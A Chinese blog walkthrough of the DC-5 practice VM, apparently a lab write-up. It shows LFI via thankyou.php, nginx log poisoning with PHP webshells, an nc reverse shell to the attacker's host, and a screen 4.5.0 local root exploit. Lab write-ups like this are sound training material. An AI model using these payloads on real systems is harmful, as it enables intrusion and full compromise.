【DC系列】DC-5靶机渗透练习

1.主机发现:sudo arp-scan -l,发现靶机ip为192.168.225.145

2.扫描端口,发现开启了三个端口:

nmap 192.168.225.145 -sV -sC -Pn -n -v -T5 -p-

3.访问页面,发现contact页面在提交留言后,出现改变,年份刷新一次改变一次,与提示相符,直接去访问thankyou.php也是一样的:

4.扫描目录:发现存在index.php,solutions.php,about-us.php,faq.php,contact.php,thankyou.php,footer.php七个页面

5.对状态为200的文件进行访问,注意:访问状态为200的文件,当访问到footer.php文件时,刷新一次年份会发生改变。

6.之前在thankyou.php中看到了这种情况(没网页刷新一次,年份都会发生变化),因此我们猜测thinkyou.php调用了footer.php,于是想到了文件包含漏洞

7.尝试是否存在文件包含,使用burp抓包:

/thankyou.php?file=/etc/passwd

发现确实存在文件包含

8.将一句话木马写入到php的日志文件中,包含文件:

在前面的nmap扫描中,我们已经知道该web服务器使用的是Nginx服务,并且在网站上的每一步操作都将会被写入日志文件log内,因此我们可以通过log来拿shell,写入phpinfo()进行探测,是否可以包含成功。

<?php phpinfo(); ?>

9.通过日志文件log查看是否写入成功,日志路径为:/var/log/nginx/access.log是系统默认路径,成功写入:

10.直接写系统执行语句,尝试能否带入命令:

通过BurpSuite抓包,并写入PHP的执行系统命令

<?php passthru($_GET['c']); ?>

关于passthru()函数的快速描述

passthru - 执行外部程序并显示原始输出

11.访问url看是不是写进去了:

http://192.168.225.145/thankyou.php?file=/var/log/nginx/access.log&c=cat /etc/passwd

注意:

当我们写入一句话木马:<?php @eval($_POST['cmd']);?>,可以通过写入日志文件的路径可以连接,但是蚁剑里面不能够打开终端。可能DC-5后台将eval函数被禁止了。所以我们只能选择别的道路,进行解决。

12.写入反弹shell的命令:

http://192.168.225.145/thankyou.php?file=/var/log/nginx/access.log&c=nc 192.168.225.133 7777 -c /bin/bash

13.成功反弹shell,进入交互式界面:

python -c "import pty;pty.spawn('/bin/bash')"

14.查看具有特殊权限的二进制文件,查找一下可以用root权限运行的命令

find / -perm -u=s -type f 2>/dev/null

15.这里我们发现了一个screen-4.5.0的这个特殊文件,searchsploit screen4.5.0一下,找到这个:

16.直接利用/usr/share/exploitdb/exploits/linux/local/目录下的41154.sh文件

先把这两个文件拷贝到根目录叭:

cp /usr/share/exploitdb/exploits/linux/local/41152.txt
cp /usr/share/exploitdb/exploits/linux/local/41154.sh

17.查看一下如何使用

18.以下是漏洞脚本文件的利用:

1)将41154.sh中上面一部分c语言代码另存为dc5.c,编译dc5.c文件

gcc -fPIC -shared -ldl -o dc.so dc5.c

2)将41154.sh中下面一部分c语言代码另存为dc-5.c编译dc-5.c文件

gcc -o dc-5 dc-5.c

3.将41154.sh中剩下部分代码另存为dc5.sh脚本文件,并在保存dc5.sh文件输入:set ff=unix,否则在执行脚本文件时后出错

4.用蚁剑连接,将这三个文件上传到服务器的/tmp目录下

5.为dc.sh增加可执行权限,执行dc.sh文件,成功获取到root权限

cd /tmp
chmod +x dc5.sh
./dc5.sh

6.获取root权限后,进入root目录下,成功获取flag文档

cd /root

最后让我不用蚁剑,再试一下ssh远程拷贝:

scp root@192.168.225.133:dc.so /tmp/
scp root@192.168.225.133:dc-5 /tmp/

4)开启一下kali的ssh服务:

首先修改一下配置文件的这两个地方:

/etc/init.d/ssh start 启动ssh服务
service ssh status 查看是否启动成功

很烦……

复现不出来,一直在调bug,今天脑壳太乱了

改天一定搞出来!监督自己!

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值